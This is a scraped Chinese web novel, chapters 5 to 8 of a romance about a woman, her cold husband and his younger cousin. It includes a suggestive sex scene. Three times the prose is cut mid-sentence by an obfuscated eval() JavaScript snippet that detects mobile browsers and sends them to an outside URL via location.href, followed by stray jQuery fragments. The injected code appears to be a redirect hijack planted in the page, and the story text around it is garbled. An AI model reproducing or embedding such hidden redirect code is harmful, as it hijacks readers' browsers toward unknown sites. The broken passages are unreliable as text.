尤伽像是掐准了时间,欣喜地将身子探出去些,手臂在晃动中与乐绮蹭在一起,两片裸/露的肌肤瞬间贴合,暧昧距离霎时打破。
她在褚铎进门时开心地挥起手,歪着的头几乎要压在乐绮肩上:“老公,帮我们带酒了吗?”
5. 变数
褚铎的步子在客厅停住。
他抬起头,视线循着尤伽的声音,锁在二楼栏杆处。
从他的角度看过去,尤伽和乐绮像是靠在一起,亲密无间。
尤伽的披肩松松垮垮挂在身上,随着她摆臂的动作,掉落了一大半,将她的墨绿色睡衣全然露了出来。
褚铎很喜欢她的这件睡衣。
与她其他的睡衣相比,这件算是相当保守的款式,虽是夏季的吊带设计,但领口很高,腰身也宽松,不会将她的身材勾勒得一览无遗,所以乐绮住进来后,她在家除了常服,大多都会穿这件睡衣。
大抵也是觉得这件不够诱惑,尤伽每次想要邀请褚铎上床的时候,都不会选择这件。
但其实褚铎很希望她能穿它一次。
他觉得那种绿色仿佛是某种剧毒汁液的颜色,瑰丽、危险,令人上瘾。随着她款步姗姗,丝滑布料轻轻晃动,若隐若现,引人遐想,诱人贪食。
可现在,那件睡衣,正与乐绮的无袖背心贴在一起。
“带了,林奇一会儿拿进来。”
说完,他收回视线,没有等尤伽的下一句话,继续向里走去。
颈上的领带缠得人憋闷燥热,他随手想解掉,却没成功,干脆用力扯了下来。
扔在了沙发上。
尤伽饶有兴趣地目送褚铎,直到他完全出了视线,才掀起眼皮,对上轻皱起眉的乐绮。
“什么酒?”
“今天天气很好,我想在花园里烧烤,小绮你也喜欢烧烤吧?所以我让你哥带几瓶好酒回来,嘶,他公司藏了不少好东西呢。”
乐绮神色微动,没有贸然应下,手扶上栏杆,语气懒散下来:“没有人提前和我说。”
“哎,那你是有事吗?没关系,有事你就去忙吧,我先去找你哥啦。”
尤伽朝他摆摆手,回身脚步轻快地往楼梯走。脸上的笑容瞬间落下,她轻哼一声,紧了紧披肩。
几秒后。
“我没事。”
身后传来乐绮的声音,语速比方才快了些,伴着紧随而上的脚步声朝尤伽逼近。
“也喜欢烧烤。”
尤伽的嘴角勾出与方才无二的弧度,佯装惊讶道:“真的吗?”
她眼睛弯弯,神色无害又温润,声音扬起补了句:“那太好了。”
花园里一早就摆好了烧烤架,厨房的阿姨们在尤伽示意下把串好的肉和菜端了出来,然后只留下一个人帮忙。
忙活完之后,尤伽正好看到褚铎推开一层的玻璃大门,朝她走来。
他没有换家居服,身上还是方才那身黑色衬衫,袖口被挽起,露出匀称流畅的小臂。笔直西装裤包裹着他优越的双腿,轮廓欲隐欲显,裤腿随着他不疾不徐的步伐前后浮动。
他踱步到她面前,抬手揽过她腰,手上稍一用力,很轻松地将尤伽圈在自己身前。
“怎么自己在忙,他们呢?”
“我哪里忙啦,就是站着指挥嘛。喏,这些东西阿姨们串了好久呢,我让她们去休息了,咱们自己烤吧。”
褚铎扫了眼,不置可否,带着尤伽落座在双人椅。
他似乎没有注意到已经坐在对面的乐绮,眼神一直没有停在他身上。
尤伽打量了下他的穿着。
“你怎么没换衣服?”
“没来得及,刚刚接了个电话。”
“热不热呀?你要想换就去嘛,我们等你。”
褚铎手劲一紧,眼神暗了几度。
短短半小时,这是他第二次在尤伽口中听到“我们”这个词。
仿佛他才是那个外人。
“没事,不热。”
他松开环着尤伽的手,拿来两个酒杯摆在面前,酒瓶倾斜,清甜酒香击落杯底后涌出。
顺便和乐绮道:“小绮,别客气,想吃什么和他们说,就当是自己家。”
乐绮后靠在竹椅上,胳膊随意伸展,垂落在半空,两腿交叠,朝两人扬了扬下巴。
眼神些许玩味。
“放心,我肯定会当自己家的。”
尤伽没理他们。
先不论其他,她今天是真的很想吃烧烤。
所以架子一热,她就暂时把那些乱七八糟的事抛到脑后,专心致志地烤起串来。
诚然,她自小没下过厨房,手艺确实不怎么好。
“唔……好像又糊了。”
尤伽举起一串半面黝黑的羊肉串,语气怅然。
“老公,你能帮我吃掉吗?”
她把那串糊了的羊肉串伸到褚铎面前,试图通过撒娇来让他帮忙消灭失败的实验品。
褚铎的神色却僵了一瞬。
尤伽怀疑是自己看错了,因为很快,他就恢复了日常的冷淡,声音也听不出什么起伏。
“我羊肉过敏。”
“啊,原来如此。”尤伽恍然道,“怪不得阿姨们特意把羊肉和其他东西分开放。”
褚铎的视线寥寥扫过尤伽已经半转过去的脸,停顿,又移开。
他试图从那上面窥探到些该有的情绪。
哪怕只是一丁点的愧疚、懊恼或者不安。
毕竟她是与他同床共枕两年的妻子,却连他对什么过敏都不知道。
可是没有。
什么都没有。
即使是在乐绮这个外人面前,她也不会觉得她对他的态度有何不妥。
最后一抹残阳即将被吞噬,血色孤寂,转瞬没入黑暗。
乐绮站在他们身后,压眉淡笑,眼睛里没什么温度。
他几步上前,拿过尤伽手中令她发愁的那串羊肉串,叼在嘴里。
“嫂子,你再不去翻面,那几串也要糊了。”
尤伽一惊,来不及在意乐绮轻嘲的语气,赶忙迈回架子前,想抢救一下仍在煎熬的土豆片,结果有些心急,手伸得长了些,眼看就要碰到滚烫的架子。
下一秒,一双冰凉的手握住了她,手背朝外,护着她往回拽。
那双手凉得与这盛夏的天气格格不入,却恰好阻隔了电架的火燎热气,指腹几个薄茧,磨过她曲起的指节。
尤伽听到头顶传来陌生的几声喘/息,略显粗重、低沉,紊乱不均。
“小心。”
尤伽在心里“啧”了一声。
在褚铎投来冰冷目光的瞬间,她抽出自己的手,转身低头看去才发现,乐绮手背被烫了一下,他皮肤白皙,赫然晕开一小片红痕,格外显眼。
怪不得他刚才声音依旧平稳,呼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316682|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吸却有些乱了。
“哎呀,你受伤了!”尤伽小声惊呼,托着他的胳膊将他往外推,“快去拿凉水冲一下,我去找药箱。”
“小伽。”褚铎出声拦住尤伽,朝一旁帮忙的阿姨挥了挥手,“让刘姨去吧。”
“可是……”
“没事,嫂子,你还是回去看你的土豆吧。”
乐绮笑着解围,放下羊肉串的签子,用没有受伤的那只手捏住尤伽肩膀,将她转了过去,胳膊越过她身侧朝前方指着:“已经糊了。”
尤伽两眼一黑,只好催促着阿姨帮乐绮找烫伤药,自己则跑到烧烤架前,一把关掉了电源。
她颓丧地坐回褚铎身边,喝了一口清酒:“算了,还是一会儿找师傅来烤吧。”
“滋滋”烧烤声渐停,偌大的花园里只剩下尤伽和褚铎两人。
太阳已经完全落下,夏风卷着白日躁动消散在云边,只留下浓密树叶的细碎摩擦声。
月光融化在院子里透亮的彩灯中,无声无息。
“小伽。”
“嗯?”
尤伽还沉浸在土豆片阵亡的悲伤里,听到褚铎叫她,没有在意,随口应了一句。
却突然被他捏着下巴转过了脸去。
褚铎的手也凉,但比起乐绮,还是多了些温热。他的手上从来不会有茧,即使从小被褚家苛待,他享受的也是最顶级的服务和资源。
尤伽等了一会儿,以为褚铎要说什么,但他只是与她对视,一言未发,于是她疑惑地又问了声:“褚铎?”
褚铎的视线在她那双好看的狐狸眼上停留了许久,然后稍稍向下,绕着她脸颊轮廓,最终落在饱满而水润的唇上。
那上面还沾着几滴新鲜的酒渍,透出娇艳的红。
他指尖磋磨着尤伽脸侧颌骨,余光扫到了玻璃门的方向。
喉结滚动,衬衫最上方的纽扣略感紧绷,褚铎抬手解开,拢在尤伽脸侧的手放到她颈后,向前一勾,轻而易举消解掉两人之间的距离。
他唇角干涩,像徒步干涸的旅人发现了绿洲,倾身含住眼前唯一能解渴的那双唇。
尤伽被他突如其来的吻搅得一怔。
她下意识后退,却被褚铎牢牢扣住后颈,被迫启唇迎上他不由分说的入侵。
很快,她回过神来,缓缓阖眼,两手环住褚铎的腰,与他贴得更近,舌尖如探头的鸟雀一般轻啄,又在他汹涌欲来的攻势下示弱,任他绞缠、掠夺,屏息又吐纳。
这个吻湿热而绵长,夺走了尤伽的大半感官,当她后知后觉意识到那道熟悉的目光又回到身上时,已经靠在褚铎怀里轻喘了几声。
“你怎么……”
尤伽忽然收声,后半句话没有问出口。
她脑海中无端冒出一个猜想。
这个猜想荒诞又无稽,却像是此刻最不可能的可能。
褚铎与她几乎从不在床上以外的地方接吻,他们不是情侣,无需靠肢体接触来维系感情。
除非……
尤伽抬起头,看向玻璃门的方向。
几步之外,乐绮站在树影中。
暗色掩藏了他的神情,明亮庭院中,唯有他是模糊不清的。
——除非,他们之间有了无法忽视的变数。
6. 上钩
尤伽心中有几成确信褚铎是故意的。
诚然,接吻是一种宣示主权的行为,虽然他们之间不存在什么感情,但尤伽对褚铎这样的反应不算意外。
以褚铎的古板性格,一旦他发现乐绮试图越界,必然不会无动于衷。刚才的行为,只能算得上尤伽这几日所为没有白费罢了。
毕竟她那么努力放大乐绮的存在感。
乐绮回到了座位上,神色无异,仿佛没有看到他们刚才的吻。见尤伽干瞪眼吃不到东西,他还主动承担了烧烤的工作,动作十分流畅,不一会儿就端上一大盘冒着油光的鲜美烤串。
“小绮,你小心一些。”
尤伽一边嘱咐他注意安全,一边迫不及待地吃起来。
她肚子饿得发瘪,没工夫跟他们斗智斗勇了。
东西烤得七七八八,乐绮关掉电源,把最后两盘放在桌上,然后扯了张湿巾,一边擦手,一边坐下。
“哥,你尝尝。羊肉是单烤的,我专门放了一个盘子,放心。”
褚铎拿了一串蘑菇,咬了一口,点点头:“什么时候还会做这些了。”
尤伽嘴里塞满了食物,忍不住赞同地跟了句:“是啊是啊,很好吃哎。”
乐绮把纸巾往她手边推了推,伸手指指自己的右脸,示意尤伽蹭上了油,然后才回头看向褚铎,慢悠悠道:
“出国之前,怕吃不惯,跟家里厨师偷学了几手。没想到我国外那些同学没吃过中餐,我那二把刀的手艺做什么他们都说好吃,后来带他们试了一次烧烤就上瘾了,这几年没少吃,熟能生巧。”
褚铎不太爱吃这些油腻的东西,尝了几口便放下,抽出纸巾细细擦过手指,又拿了张新的帮尤伽拭去嘴边的油。
“看来你在学校过得很开心,朋友也很多。”他情绪极淡,语气不痛不痒,“没有遇到感兴趣的女生吗?”
乐绮挑了下眉,眼尾上扬了些。
“当然有。”
“哦?那有发展吗?”
“她骗了我,算发展吗?”
乐绮笑容不羁,像是在讲什么有趣的事。
尤伽不知为何有种错觉,乐绮说话的时候,视线似乎一直在看向自己。
她只顾着盘中美食,原本对他们的对话毫无兴趣的,被那道黏人的目光缠上,她才分心将他的话在脑子里转了一圈。
可怎么听也和她没关系。
褚铎听出乐绮口中的“发展”与他所说的意思相差甚远,不过既然已经聊起来,他也就跟着回了句。
“骗你什么了?钱吗?知道身份吗?”
“知道。她不在波士顿,是在国内。”
“所以你在找她?需要帮忙吗?”
“不用。其实,我已经找到她了。”
褚铎见乐绮的表情似乎不是“找到了”那么简单,不免皱起眉,语气也多了些长辈说教。
“找到了就好好问清楚,也许其中有误会。做事别太过火,不要给小姨惹麻烦。”
乐绮眼中的阴暗危险一瞬间就消失了,恢复了阳光烂漫的少年气。
“知道,哥。”
话音没入夜中,一时间只剩下一直没说话的尤伽吃东西的声音。
当她发现周围有些过于安静的时候,下意识抬起眼,正好撞进乐绮意味不明的视线。
“嫂子,你去过波士顿吗?”
“唔……波士顿?去过吧。”
“印象不深?”
“好像是待过两天,应该不是专门去玩的,记不太清了。”
乐绮没有再立刻接话,但视线越发露/骨,噙着似有若无的冷笑。
那眼神比之前更加阴寒、刺骨,像一条能绞断肋骨的绳索缠绕在尤伽身上,仿佛她稍有动作,就要立刻将她拦腰斩断。
看得尤伽一阵心悸,背后冒出冷风。
“看来嫂子的记性不是很好。”
尤伽干笑两声,起身躲过他视线:“我吃饱了,你们慢慢吃。”
褚铎跟着站起来,和旁边的阿姨打过招呼,嘱咐她照顾好乐绮,便随着尤伽离开。
尤伽下意识脚下生风,步子越走越快。
虽然她对乐绮那种奇怪的眼神已经见怪不怪,可他刚刚那一瞬真的像是要把她吃干抹净一样,带着凶狠的欲望,毫无遮掩地撕扯着她的外表。
她竟真的像被他攫住了心脏,在极力挤压中感到窒息与疼痛。
他真是个疯子。
尤伽这样想着,甚至没有注意到身后的褚铎,直接回了自己的卧室。
-
烧烤之后,乐绮好像消停了两天。
尤伽不再感受到那股无时无处不在的视线,听做事的阿姨聊起才知道,他这几天似乎有什么事,每天很早就出门,很晚才回来。
尤伽想到了什么,心思微动,有些庆幸。
乐绮搬进来之后,尤伽不好再同褚铎提过夜的事,毕竟家里还有第三个人,怎么想都奇怪。如果他不在,一切自然方便很多。
这天乐绮又很早出门,尤伽根据这几天的观察,笃定他一定会到晚上九点之后再回来,又恰好褚铎今天没有加班,晚饭前就回家了,所以尤伽暗念万事俱备,吃完饭就火速回房洗了澡,换上了新买的一身睡衣。
本来就睡一次少一次,还要因为乐绮被迫禁欲,尤伽怨念很大,欲念更大。
敲了敲褚铎卧室的门,没有人应,尤伽推开一点,发现屋里关着灯。
这个时间,他不在卧室,大概就是在书房,所以她直接下到二楼,果然看到书房的门虚掩着,里面透出光亮来。
正好碰到阿姨来给褚铎送牛奶,她将人拦住,把牛奶端起来,示意她去送就好,同时催促他们抓紧下班。
转身轻轻敲过两下门,很快,一声沉着嗓音的“进”传来,尤伽迈入房间,将门在身后关紧。
褚铎低着头在看文件,听声音知道是尤伽进来,没有抬头,只是问了句:
“怎么了?”
“没怎么,给你送杯牛奶。”
褚铎听到这几个稀奇的字眼,这才抬起视线。
映入眼帘的,是披着白色针织披肩的尤伽,正轻轻将杯子放在他手边。
他的视线顿了顿。
“今天吗?抱歉,可能要等我一会儿,还有几个文件要签。”褚铎心领神会尤伽的意图,略带歉意地放下手中的笔,“我一会儿去找你吧。”
尤伽看到他手边的一叠文件,轻声应“好”。
临走之前,她想起什么,又回身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316683|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
停住步子,扯下披肩,抬起双臂在褚铎面前转了一圈。
“你看我的新睡衣合适吗?总感觉有些小,不合适的话,我上楼换掉。”
褚铎想要重新拿起笔的手在尤伽露出睡衣全貌的那一刻停住了。
他喉咙似有一阵干渴,喉结下意识滚动了几下。
尤伽的感觉没错,睡衣确实偏小,她身高有168,这条睡衣裙显然有些短,穿在她身上不免显得局促,连带着腰身都包裹得很紧。
但睡衣是露肤度很高的款式,暗红色的哑光布料缠绕她的身体,乳白光线明晃晃打在她的手臂、小腿、后背,看久了,徒生出一种朦胧感来。
让人想撕破那层白雾,一探究竟。
褚铎起身向她走去,领口的纽扣在短短几步间已经解开。
“感觉是有些……呀!”
尤伽还在低头认真看着睡衣是否合身,身后突然伸过一只胳膊将她拦腰抱起,她猝不及防地失重,惊呼出声。
慌乱间,她抬首望去,发现褚铎的眸中掺入混沌,眼角微红,清醒在一点点被吞噬。
?
这男人这么好上钩的吗?
来不及细想,尤伽已经被褚铎抱到了书桌上,她怕碰坏东西,只敢坐一个桌边,褚铎却一手将杂物挥开,腾出足够大的地方来。
……还好这桌子不是一般大,殃及不到他办公的那边。
“……不是还有工作吗?”
“嗯,那些不急。”
略显急迫又粗重的吻落下,尤伽闭上眼睛,娴熟地去解褚铎的扣子。他却好像一刻都等不及,还剩两颗未解时,直接伸手扯开,纽扣连着丝,无声掉落在地毯上。
“小伽,叫我。”
“……嗯?”
狂风骤雨袭来,尤伽根本没有意识去想褚铎在说什么,只能含糊地反问。
“叫我。”他声音哑得像陈年唱片,断断续续,起起伏伏,“像你之前那样。”
尤伽未经思考,脱口而出她在床上对他叫过的一些称呼:“哥哥?”
忽然加大的力道让尤伽下意识仰头呼吸,仿佛汲取不到丝毫氧气,就要沉溺在无边潮水中。
……答案好像不对。
她受不了地推搡着褚铎肩膀,但毫无作用,只好再次开口尝试:“……宝宝?”
又是一阵战栗。
她显然无法承受第三次错误,于是强迫自己将四散的思绪聚拢,仔细揣度着褚铎的想法。
突然,灵光一现。
“老公……”她含住褚铎耳垂,试图安抚他躁动的情绪,“老公。”
褚铎动作一停。
抱起她,转身往里屋走。
尤伽差点喊出来。
这实在太刺激了。
她除了紧紧勾住他,别无他法,每走一步都像是在天堂和地狱之间轮回。
好在书房里侧就有一张供他临时休息的床,这段甜蜜的折磨没有持续多久,褚铎就将她放在了床上。
他压抑着愈演愈烈的某些情绪,俯下身,凌乱的轻喘直撞上尤伽脸侧,手指强硬闯入她指间缝隙,与她紧紧相扣。
他在她耳边低语。
“一直叫。”
“直到我让你停为止。”
7. 隔墙
尤伽一度觉得自己根本起不来了。
她仰躺着,眼神直愣地看向天花板,脑子里只有一个想法。
是不是有些太过了。
简直比上次褚铎出差回来那次还要过。
褚铎半跪在床边,用温热毛巾帮她擦拭过身体后,又捋着她打湿贴在脸上的碎发,轻声询问:“我抱你回屋?”
尤伽摇了摇头:“有水吗?”
“水……”褚铎扫视一圈,复低下头,“只有半杯牛奶……”
“停,别说了。”
尤伽轻轻一个巴掌捂住褚铎的嘴。她顾不得身上酸软,直接翻身坐了起来。
哈,消失的那半杯牛奶没用在什么正经用途,尤伽暂时不想回忆。
“你这床单马上扔掉。”尤伽试图威胁他,一边下床一边去捡扔在书桌旁的睡衣,“我先回去洗澡了,你忙吧。”
还好睡衣扔得早,不然也要不了了。
“在这里洗吧……”
褚铎的后半句话尤伽根本没听,她现在对他半点信任都没有。
火速走出书房关上门,正要往前走,冷不防被眼前直挺挺伫立的一个人影吓了一跳。
那人的脸掩在阴影中,她看不清,却被一道熟悉的视线灼烧过肌肤。
有如实质,火辣又冰凉。
她很快意识到这是谁。
“……乐绮?”
他神色晦暗不明,眼中尽是讥诮。
尤伽侧了侧身,抬头与他直视。
“你什么时候站在这里的?”
乐绮没有回答,眼神一目了然。
尤伽动作僵了僵,体温以一种能切身感知到的速度飞快降下来。
她在心里想,这房子隔音真该叫褚铎改了。
“没想到你还有这种癖好。”
乐绮没有理会她的冷嘲热讽,冷淡开口。
“我哥挺厉害的。”
尤伽顿了下,很认同地点点头:“确实。”
“你也挺厉害的。”他的语气多了些轻浮,手撑在栏杆上,斜着眼睛看她,“嗓子不哑吗?要喝水吗?”
当然哑,尤伽觉得多说一句话都要冒烟了。
她索性上前一步,轻笑着望过去。他眼中拂过波澜,似夜风贴着湖面而过,水波卷着水波,汇入深不见底的黑夜。
“你有吗?”
乐绮看了她一会儿。
然后,从身后背着的吉他包里拿出一瓶冰水,拧开,递给她。
冒着寒气的瓶身被捏出细微褶皱,暴露在光下的手背青筋隐隐。
“新的,喝吧。”
尤伽从善如流地接过,眨了眨眼。
“谢谢。”
凉意顺着唇腔流入干涩的喉咙,枯竭的土地上泼下一场及时雨,连带着尤伽整个身体都变得湿润、蓬松。
她微微仰头,很实在地喝了两口,拿下水瓶时,嘴角沾上了两颗水珠,很快被她的舌尖卷走。
“来找你哥吗?可能要等一会儿,他现在应该不太方便。”
尤伽垂下手,看了眼书房的门,笑容浮上几分甜美。
说完,她晃了晃水,转身越过乐绮,往电梯间走。
只走了两步。
“尤伽。”
这是乐绮第一次叫她的名字。陌生感让这两字听起来格外突兀,尤伽一愣,下意识停住脚步。
往日清冽的少年音此刻像灌注了千斤水泥,沉闷、涩哑,密不透风。
尤伽回过头,只看到乐绮蒙着昏黄灯光的背影,硕大的吉他包几乎遮住了他半个身子,影子投在栏杆上,曲折晃动。
“怎么了?”
乐绮似乎是笑了一声。
“你还真是一如既往。”
尤伽没有听懂这句话的含义,张了张嘴,刚要追问,却见他迈步离去,隐入黑暗。
她思绪微怔,凉意自后背顿生,有股莫名躁意在心底翻涌,意识到之后,很快被她压了下去。
裹紧披肩,尤伽转过身,向他的反方向离开。
-
大概是折腾累了,尤伽回房洗过澡后,很快困意席卷,草草看了几眼手机就睡了。
可这一觉睡得并不踏实。
朦胧间,尤伽明显感觉自己已经睡着,身体绑着沉重石块陷入海底,动弹不得,可她的意识却格外清晰,黑压压的梦勒紧她的脖子,她想呼救、挣扎,最终却只能眼睁睁看着自己坠入深渊。
她做噩梦了。
黑雾漫天,尤伽什么都看不到,只感觉贴着肌肤的雾变成了寒凉的水珠,顺着她的小臂滑落。她试探着往前迈步,周围景色毫无变化,仿佛陷入了原地踏步的怪圈。
突然有一只冰凉的手穿过黑雾捧住她的脸,尤伽吓得一怔,本能地后退。可那只手也跟着她挪动,始终停留在她脸侧。
尤伽恍然觉得有种诡异的心安。
在这个危机四伏的梦里,这只手的触感陌生又熟悉,她忍不住想要靠近。
就在她要探身的瞬间,手消失了,雾也消失了,尤伽一惊,猝然睁开眼睛。
窒息感留存在她的颈间,尤伽一时分不清现实和梦境,只感觉突然汲取到了久违的氧气,忍不住大口呼吸起来。
不知过去了多久,夜灯柔亮的光线才穿透她的神经,让她找回些许清醒。
尤伽揉着胸口,坐了起来,疲惫感油然而生。
薄汗浸湿了额前碎发,她蹙眉摸来手机,按亮看了眼时间。
已经一点多了。
尤伽偶尔压力大的时候会做噩梦,是上学时留下的毛病。
不过今天这个梦似乎有些奇怪,黑雾是她噩梦里常见的元素,但那只冰凉的手……却是第一次见。
第一次见,但总觉得熟悉。
尤伽心烦意乱,将头发全部在脑后拢起,拿过床头放着的皮筋扎了个低马尾,这才觉得呼吸空间大了一些,体内气息也流动得更加顺畅。
她小腿依旧有些酸软,缓慢挪到地上,起身往门口走。
做噩梦后,尤伽总是要吃些冰凉可口的东西才能恢复心神。在家里的时候,父母会备齐所有她爱吃的冰激凌,在她心神不宁时忙不迭地送到她嘴边。
住到褚铎这里,她特意提醒过家里采购的阿姨,冰箱里总要有冰激凌备着,如果快空了,要记得及时补上。
尤伽循着熟悉的路线往厨房走,还有段距离时,意外看到半开放的餐厅里亮着灯,门口的地上光影流动。
她脚步顿了下,复又向里走去。
走近后,尤伽看到乐绮坐在餐桌前。他面前摆着电脑,屏幕上是起伏的音轨,他戴着耳机,手指偶尔按动鼠标。
乐绮显然没有听到尤伽的声音,直到尤伽走过餐桌,全然出现在他视线中,他才怔了怔,摘下耳机,挂在脖上。
“还没睡?”
尤伽本来是想直接路过去厨房的,奈何乐绮开口打了招呼。她被迫停下,转过身看向他。
“找点东西吃。你呢,怎么还不睡?”
“帮朋友做点东西,就剩点收尾工作,想今天把它搞定。”
“那怎么在这里?”
“我房间的空调好像坏了,热。”
不知道是不是夜深人静的缘故,尤伽第一次觉得两人之间的对话不再是针尖对麦芒,倒真像一对寻常的叔嫂,客套又平常地关心。
乐绮也许还沉浸在自己的作品中,眼中不多的疲惫也被兴奋掩盖,笑意浅淡却真实。他遥遥望着站在另一边的尤伽,往日挑衅不在,目光澄净,活脱脱一个涉世未深、满怀憧憬的大学生。
尤伽被他眼中陌生的清澈刺得心麻,下意识收回视线。
“明天找他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316684|183033||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们修一下,你先随便找间其他客房凑合一下吧。”
说完,她继续她的路,拐进了厨房。
冰箱里有一层专门放她的冰激凌,尤伽拉开抽屉,在里面翻找着。
片刻后,有些失望地站起身。
尤伽喜欢吃的口味有很多,唯独不喜欢草莓味。上次阿姨买错了,买了一些草莓味冰激凌回来,尤伽特意嘱咐过她们,让她们帮自己消灭,别浪费,甚至连褚铎她都拜托了一句。
可家里除了尤伽没什么人爱吃甜食,许久过去也不见少,而她刚刚发现,其他口味全都吃光了,只剩下铺了半层的草莓味,与她相看两相厌。
她怅然若失地站在冰箱前发呆,噩梦带来的窒息感仍旧萦绕在周身。
乐绮在此刻走进了餐厅。看到她站着不动,踱步到她身后,也顺着她的视线往冰箱里看。
“在想什么?”
尤伽陷在郁闷中,嘴唇撅了起来,没有多想,同他抱怨道:“我想吃冰激凌,但是只有我不喜欢的口味了。”
“这个时间吃冰激凌?”
“就想吃。”
尤伽的尾音带了点稚气,像是圣诞节没得到礼物的孩子,蛮横地耍赖。
乐绮看了看她的侧脸,勾起一个无声的轻笑,俯身拿了一盒冰激凌和一些冰块出来,关上冷冻层,又从冷藏拿了几样东西。
尤伽好奇看他。
乐绮将东西放在流理台上,洗净手,捣碎冰块,将碎冰铺在宽口杯的杯底,倒入青柠汁和菠萝汁,将将没过冰面。
他撕开冰激凌的封膜,用挖球器将冰激凌球轻轻放在碎冰上,自上而下淋浇些许白朗姆酒,又撕了一些薄荷碎,轻轻压出汁水。
最后,取来两片新的薄荷叶,轻拂两下,斜插在边缘处。
整个制作过程不到十分钟。而后乐绮将剩余食材重新收回冰箱,端起杯子,插入一柄小勺,向尤伽递过去。
“尝尝,草莓味应该不太浓了。”
乐绮的动作行云流水,尤伽看着那杯成品,不免有些惊讶。
她接过来,没有回到餐厅,直接站在原地尝了一口。
碎冰稀释了冰激凌的甜腻,冰沙的口感又很好地与冰激凌融合,丝毫不显得突兀,反而多了些层次感。薄荷与青柠的清凉酸涩覆盖了草莓味,而菠萝恰到好处地补足自然果香,最后徐徐入场的酒香包裹住所有的味道,一股脑席卷了尤伽的味蕾。
她瞪圆了的眼睛瞬间亮起光来。
“真的哎。”
乐绮许是被她的反应逗笑了,低眉看向她,神色在灯光中柔和不少。他两手按在尤伽肩上,将她转过身,推着往门外走。
“去餐厅吃吧,站着不累吗?”
尤伽任由他摆弄自己,注意力全在手中的甜品上,舀了一口又一口。乐绮拉开椅子,搭着她的胳膊将她放在椅子上,才又绕回她对面的位置,重新戴起耳机。
两人不再有任何交流,安安静静地坐在餐桌两边,各做各事,和谐得仿佛一对久经婚姻的夫妻。
尤伽心底腾起一股难言的安宁。
明明对面坐着的是方才还在和她明嘲暗讽的人,明明是他的到来搅得她平静的生活鸡犬不宁。
但她此刻却控制不住地在他面前放空自己,心有余悸的噩梦也被口中甜香一扫而空,她什么都不想,只是专心地吃着东西。
这是她在面对褚铎时从未有过的状态。
夜色让他们之间的关系变得温柔。
客厅通往餐厅的走廊上,光线无法刺透的角落里,隐没着一个身影。
褚铎盯着安然自若的两人,神色不明,凝视良久。
尤伽将最后一勺冰激凌舀起,金属勺头碰触到杯沿发出声响,很快掩藏在乐绮的键盘声中。
褚铎微蜷的手指缓缓舒展,他敛回视线,转身离开。
8. 保密
后半夜,尤伽睡了个好觉,第二天上午是被助理姜春和的电话叫醒的。
“喂?”
昨天空调温度调得有些低,尤伽整个人裹在被子里,几个手指一寸一寸往外挪,把手机摸进被窝,小声呢喃。
“老板,是不是打扰你休息了?我来给你送离婚协议书,快到了。”
姜春和的声音永远阳光明媚,像她的名字一样,活力充沛到尤伽一度以为她根本不用睡觉。
“唔……你直接进来吧,我一会儿就下去。”
挂断电话,尤伽当即把手机扣在床上,又不动了。
缓了好一会儿,她才懒洋洋地在被窝里伸个懒腰,探出一点脑袋,逐渐开机启动。
起床收拾完毕,尤伽换好衣服,利落地往楼下去。
“老板,早上好!”
“早,吃东西了吗?让阿姨给你做点。”
“嘿嘿,吃过啦。我把文件送过来就走,还得去于婧的片场呢,她最近又闹脾气,经纪人没辙了,让我过去哄哄。”
“嘶,谁又惹大小姐了?也别太惯着她,不然我一起去?”
姜春和把文件袋递给尤伽,背起手来,歪头笑道:“放心吧,治这小丫头我有办法,不用麻烦你。那我就先走了,下午公司见。”
尤伽拆着文件,没有抬头地冲她摆手,却听到姜春和站在原地“咦”了一声。
“怎么了?”
“老板,哪来的帅哥?”
姜春和不仅没走,反而凑得尤伽更近,在她耳边压低声音道。
尤伽顺着她眼神看过去,乐绮正背着吉他包从二楼往下走。
她顿了一下,只淡淡扫过,视线很快收回到文件上,语气轻描淡写。
“哦,褚铎的弟弟。”
乐绮路过她们时往这边看了一眼,尤伽正好将离婚协议书放回袋子中。抬头时对上他视线,不说点什么似乎有些尴尬,于是随口问了一句:
“又出门吗?”
“嗯,去朋友的工作室。”
姜春和显然是三人中最兴奋的那个。
她在两人话音落下后很殷勤地伸过去一只手,热情地自我介绍:
“你好,我是尤总的助理。”
乐绮脚步僵了僵,放在包带上的手无意识攥紧。
尤伽见惯了姜春和见帅哥眼开的样子,轻笑一声。
本以为以乐绮的性格,大概会直接无视她,未曾想,他停下步子转过身来,笑吟吟地与姜春和回握。
“Aurora?”
尤伽和姜春和同时愣了一下。
“你认识我?”
姜春和的英文名基本只在工作中使用,从乐绮口中听到他用标准美音念她的名字,她陡然有种被偷窥的怪异感。
尤伽更是莫名其妙。
他怎么会认识自己的助理?
“嫂子和我提过。”
